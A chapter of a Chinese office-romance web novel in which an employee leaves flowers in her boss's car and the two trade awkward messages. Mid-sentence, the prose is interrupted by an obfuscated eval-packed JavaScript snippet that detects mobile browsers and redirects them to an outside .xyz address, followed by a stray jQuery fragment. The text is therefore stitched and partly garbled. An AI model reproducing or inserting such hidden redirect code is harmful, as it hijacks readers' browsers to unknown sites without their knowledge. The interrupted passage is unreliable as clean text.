-
边慈总觉得晚上好像忘了什么事情。
没想起来，窗口吹来一阵冷风，她又打了几个喷嚏，便赶紧去洗澡了。吹干头发又给自己冲了包感冒冲剂喝。
忙完一通才眯着眼睛，小心翼翼地看了眼调成静音的手机。
——还没通过验证。
边慈下意识松了口气，心底却也多了几分不明的失落。
给妈妈汇报了喜提两株稀有花苗的消息。
边母喜出望外，问边慈这周末能不能送花苗回去。
边慈想起先前安筱彤说的音乐节。
便给她发消息，问她下班没有，顺便问问音乐节的具体时间。
安筱彤秒回：
【哈哈哈哈哈大雨把老板地库里的车淹了，真是大快人心！】
【姐提前下班了！！！】
【音乐节在周六下午！不过你不用加班啦？】
边慈发了个可喜可贺的表情包：【大概率是不用加班咯】
安筱彤：【看来那冰山还算有良心嘛】
冰山……边慈想到下午离开程圻办公室时，他那句不知道能不能称作“解释”的解释。
当时处于紧张和窘迫中，没有多想。
现在重新回味起来，才察觉自己因为诸多因素堆积起来的疑虑，在那三两对话中，竟都被尽数打消了。
而且，人家还好心送她回家呢。
边慈悄悄为中午的埋怨忏悔，试图挽回程圻的声誉：【其实我们领导人还蛮好的。】
安筱彤：【不吊死在他办公室门口了？】
边慈：【上吊到一半把脖子拿出来了，好痒啊，嘿嘿】
安筱彤：【……行，那你白绫借我一下】
边慈：【你也上吊啊？】
安筱彤：【不是，我拿去勒死我老板】
“……”
回完消息点开朋友圈翻了翻，不少人吐槽气候反常，哪有一月份下大暴雨的道理？
点开一则别人拍摄的雨夜街道小视频。
哗然雨声砸入耳，被沐浴露盖去的松木香似乎再次萦绕。
不久前刚见到的人又回到了脑海中。
因为这场不合理的大雨，她居然和程圻坐到了同一辆车里。最靠近时，他手背上的青筋甚至从她袖角擦过。
不敢想的距离。
边慈用手背贴了贴脸颊，微微抿了下嘴角。
所以这场雨……也不全算坏事。
继续往下翻，翻到了一个小时前安筱彤发的朋友圈。
【表白我最最最爱的慈慈宝贝千里投喂的鲜花炸鸡奶茶~】
配图正是她们的晚餐。
以及，那束绚丽多彩的芍药花。
边慈给她点了个赞。
顿了一会，抬起头，神态茫然地环顾了一圈。
对啊。
她的花呢？！
-
张修筠打了第不知多少个电话时，程圻总算是接了。
张修筠的声音没好气传出来：“怎么你还真生上气了？去之前我跟没跟你说过了，是去见人家方氏的小千金，你不也来了？又不是我把你骗过去卖身的？”
大雨已经停了，假山边仍有些许积水。
落叶吸满雨水，膨胀成一张张小船，两只挂着泥水的小猫踩着小船、竖着尾巴跑来，在地面上留下一串高兴的小梅花印。
程圻蹲下身，两只小猫便顺势攀着他的西装裤腿往上爬。他并未阻止，于是那身显然昂贵的西裤与大衣很快被泥水蹭脏，浑身泥泞的小罪魁祸首们却浑然不觉愧疚，正魇足地趴在西裤大腿上打着咕噜。
“倒是会享受。”
程圻手指逗弄着怀中小东西，唇角不觉勾了起来，顺带回了张修筠一句，“说完了？”
“呃……”
程圻从他那儿离开的时候脸色很臭，张修筠还心想着多半要挨顿臭骂，这才来了个先发制人，结果电话里程圻的语气听起来并不生气，反而还透着几分难得的温柔。
张修筠还以为他这温柔是给自己的，不禁嗓子一哽，有点愧疚。
“哎呀哎呀，行吧，是我错了。我以后绝对不随随便便答应你哥，给你安排什么乱七八糟的相亲了……”
见程圻没回答，张修筠又开始卖惨：“哎，我也够衰了。今晚这场暴雨真是莫名其妙，把我停地库的车给泡了，现在还在4s店呢。真烦，这大冬天的下什么雨啊？”
“报应。”程圻淡淡吐出两个字，顿了下，“你上次说，有朋友想收辆720s？”
张修筠愣了下：“是啊，怎么了？你要卖啊？”
“嗯，让他考虑考虑，价格好谈。”
“不是……你那迈凯伦不是半年前刚买的吗？都没见你开过几回，卖了多不划算啊？而且你又不缺钱，卖它干嘛？”
程圻沉吟了片刻，“平时也用不上，油耗高，而且，声音太大了。”
张修筠理所当然：“你都买跑车了，差那点油钱？而且，声音不大别人怎么知道这是跑车啊？”
“……”
程圻看了眼周围地面，极宽大的骨节与掌心轻轻一托，就单手将两只猫捞起来带到了住宅楼空廊下。
“稍等。”他把掌心小猫放在干燥地面上。
张修筠：“哦，你去干啥？”
“我不是跟你说的……总之你先帮我问问吧。”
程圻挂断电话回到地库，从后备箱的猫粮袋中舀了一塑料盒出来，又绕到后座准备找找有没有能保暖的东西。
一拉开车门，眸光却微微凝结。
后座上正静静地倚着一束花。
娇嫩欲滴的花瓣上，还挂着这场雨留下的水滴。
……
“开会的意义是什么？是听傻缺领导用两小时讲怎么提高效率吗？讨论到宇宙爆炸都讨论不出个PPT封面！”
说到领导就来气，安筱彤化身炸药桶，在宇宙舰队中一片乱杀。
可惜匹配来的队友不给力。
最终惜败。
“唐逸舟怎么都不上线啊？找到工作了？”
边慈：“不知道啊，我给他发个链接看看。上次他不是说准备回去把老房子改成民宿？”
“哦对，忘了这茬。”
上回吃火锅的时候唐逸舟说过，他在北方攒了一点钱，准备将老家的那栋房子改造成民宿。
那儿地段不错，近海边。随着前些年附近的高级别墅小区竣工，周遭也陆陆续续开设了很多招商和改造项目，目前那块地段俨然成了香饽饽。
他们一聊，才知道原来唐逸舟老家和边慈家属于同一块片区，直线距离大概只要十多公里。也算是老乡吧。
安筱彤：“不知道他那民宿春节能不能竣工，咱们有没有机会去白住两天？”
“那估计有点悬，而且刚装修好也要散散甲醛吧。除非你想去当人形净化器。”
夜里降温，沙发上有点冷了，边慈起身回房间。
一边将游戏邀请链接转发至微信界面。
画面跳转时卡顿了下。
“你发邀请给他了吗？”
安筱彤刚好在这时候问。
边慈没仔细看，便点击了列表上方的第一个对话框，界面再次跳转回游戏。
某个名字似乎一闪而过。
边慈呼吸微促，又将画面切换到微信。
！！
怎么是程圻的对话框！
程圻通过她验证信息的时间就在一分钟前，那就意味着，现在他极有可能正在看手机，也极有可能看见了自己转发的游戏链接。
边慈心下一凉。
老板白天刚将方案交给她独立负责，她下班就给老板发游戏链接……
这让老板怎么想她？
尽管消息的停留时间不超过五秒，但这种可能性仍然让她坐立难安。
要不……发个信息补救一下，就说是……策划案参考素材？
不行，理由太牵强了。
而且万一他没看到刚才的消息，那自己岂不是不打自招了……
边慈心里天人交战，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627208|172433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还没编辑好说辞，对面先弹出了消息。
程圻发来一张照片，正是边慈落在后座上的那束花。
【你的花还在这。】
边慈微微呼出一口气，将打好的字一一删除，重新思考新话题的回复。
花已经落下了，她肯定不能叫程总特意给她送过来。
但如果她说自己现在去取，边慈毫不怀疑以程圻的修养会说还是他送过来吧；
如果明天去公司拿……不可能，那第二天大概就会有八百条八卦新闻从办公室传出。
稍加思考，边慈就得出了这件事的唯一解决方案。
【程总，非常感谢您今天送我回家！刚才下车才发现这束花恰好留在您车上了，想来也是缘分，才让这束花有幸被程总看到，如果您不嫌弃的话不妨留下它吧~这花沾了您身上的才华和香气，一定能焕发出别样光彩！/鲜花/鲜花/鼓掌/鼓掌】
微信对话框里弹出这段文字附带表情包时，程圻正靠在两只小猫不远处的屋檐下抽烟。
烟头骤然明灭的火星在玻璃倒影里炸开，跟着边慈的信息一同弹出。
好一段冗长华丽的马屁。
某张紧张得不敢呼吸的可怜面孔浮现在脑海里。
某一瞬间，他突然鬼使神差地产生了些许好奇。
——如果现在自己站在她面前，她还能拍出这么流畅的马屁吗？
看了眼腕表，可惜，晚些还要和几个烦人的家伙开电话会议，不能亲自去验证这件事。
想起对话框上刚刚撤回的游戏邀请链接。
程圻指尖微动。
“咦？你拉小虫虫进来啦？”
“嗯，刚好看到她发申请了，唐逸舟还没来，再等等？”
“嗯……正好我也想再笑笑你哈哈哈哈！！”
语音里传来边慈气恼的声音：“别笑了！我想了好久才编辑好的消息好吗？！已经尽力把马屁拍得不留痕迹了！我也很不容易的！！”
“噗呜……对不起啊慈慈宝贝，但是你尴尬的样子比信息本身更好笑哈哈哈……”
“……”
边慈郁闷：“再这样下去，我迟早要成为公司第一马屁精。”
“不会的宝贝，你要相信天外有天，马屁精外还有马屁精！你这种级别的马屁你们领导说不定天天都在听，耳朵早就起茧子了。”
“真的吗？”边慈的语气迟疑，“那他怎么还不回我啊？会不会是我马屁没拍到位？”
安筱彤分析：“嗯，有可能真没给他拍爽。”
边慈咋舌：“这还不爽啊？他还要怎么爽？！”
“那就不好说了，实在不行你给领导磕几个头吧，跟他说，这花你不收的话，我边慈明天早上就吊死在你办公室门口。反正你早想这么干了。”
“……”
“我哪敢呀？而且吊死就拿不到N+1了，那我可不亏大了？”
边慈憋了几秒，又窝囊地叹了一口气，“怕都怕死他了……”
后半句轻得几乎听不见。
话音里无意识的轻哼声像撒娇，同雨后清冽的风徐徐吹过耳廓，轻轻痒痒，吹散了烟雾中的沉郁。
程圻将手机从耳边拿下，看向不远处正埋头吃饭、忍不住踩着地面发出哼唧声的小流浪猫，傍晚时分锁紧的眉心不知何时松开，唇角也懒懒散散勾起了几分笑意，带着唇下那颗痣在昏沉晚风中轻扬。
笑得没有缘由，同这场暴雨一样。
接着，与下午将她叫上办公室解释的行为一般，未加思考，肢体已经快出一步做出反应，在手机键盘上敲下了几个字。
不隔两秒。
手机里传出边慈惊喜的叫声——
“啊啊啊，他说花很好看，他收下了！！耶！太好了！”
欢呼声惊得烟灰簌簌抖落。
程圻欠身掸开衣角上烟灰，喉结滚动，带出半声轻笑。
走到在饭碗旁欢快踩奶的小猫旁，蹲下，将烟换到另一只手，轻轻挠了挠猫后颈。
“就这么高兴？嗯？”